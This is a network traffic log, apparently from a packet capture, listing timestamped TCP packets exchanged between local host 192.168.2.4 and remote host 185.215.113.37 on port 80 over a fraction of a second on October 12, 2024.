Oct 12, 2024 13:17:23.526237011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526251078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526283979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526314020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526314020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526318073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526350021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526352882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526386976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526391029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526391029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526420116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526434898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526454926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.526485920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.526506901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.537754059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537786961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537816048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.537822008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537853956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.537882090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.537892103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537925959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537957907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537961006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.537992001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.537992954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538003922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538027048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538058043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538062096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538090944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538099051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538099051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538125038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538157940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538181067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538182020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538191080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538224936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538238049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538238049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538259029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.538305998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.538305998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556061029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556097984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556124926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556148052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556154966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556184053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556195974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556257963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556257963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556308985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556317091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556344986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556392908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556392908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556396961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556447983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556493998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556493998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556499004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556550980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556574106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556585073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556607008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556621075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556663990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556663990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556674004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556724072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556742907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556757927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556782007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556787014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556818008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556822062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556842089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556854963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556888103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556905985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556905985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556922913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556938887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556957960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.556977034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.556992054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557018042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557025909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557035923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557076931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557106972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557120085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557120085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557156086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557162046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557194948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557218075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557228088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557244062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557265043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557297945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557310104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557310104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557336092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557365894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557382107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557382107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557399988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557430029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557431936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557457924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557466030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557499886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557513952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557514906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557533979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557559967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557569027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557584047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557602882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.557647943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.557648897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.591897964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.591969013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.591970921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592005968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592041969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592042923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592056990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592076063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592084885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592111111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592144966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592154026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592154026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592180967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.592212915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.592293024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.618916988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.618942976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.618961096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.618976116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.618990898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619005919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619018078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619018078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619021893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619035959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619050026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619065046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619080067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619102955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619107008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619107008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619118929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619132996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619134903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619151115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619174957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619190931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619201899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619201899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619204998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619221926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619237900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619252920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619257927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619273901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619298935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619324923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619335890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619344950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619369030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619374037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619374037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619405031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619421959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619436979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619453907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619468927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619483948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619502068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619527102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619541883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619556904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619575977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619580984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619591951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619601965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619609118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619622946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619640112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619647980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619648933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619666100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619680882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619707108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619709969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619721889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619738102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619752884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619761944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619761944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619772911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619798899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619802952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619815111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619832039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619843960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619843960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619856119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619873047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619888067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619899988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619904041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619935989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619935989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619956970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619982004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.619982004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.619999886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.620016098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.620032072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.620047092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.620064020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.620075941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.620075941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.620075941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.620318890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632215023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632229090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632246971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632339954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632356882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632369995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632369995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632380962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632396936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632397890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632415056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632430077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632443905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632443905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632446051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632463932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632478952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632479906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632496119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632508039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632508039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632513046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632529974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.632544041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.632601023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.650988102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651060104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651098967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651098967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651137114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651173115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651191950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651213884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651227951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651264906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651298046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651319027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651365995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651374102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651412964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651447058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651483059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651515961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651544094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651544094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651544094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651549101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651586056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651602983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651622057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651654005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651680946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651690960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651746988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651753902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651807070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651829958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651839972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651875019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651896954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651896954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651909113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651942968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.651971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.651979923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652018070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652029037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652051926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652084112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652084112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652086020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652117968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652152061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652184963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652185917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652185917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652218103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652242899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652242899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652251959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652287006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652309895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652318954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652354002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652385950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.652386904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652386904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652445078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.652563095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:23.686786890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.686832905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.686867952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.686902046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:23.686934948 CEST	80	49730	185.215.113.37	192.168.2.4
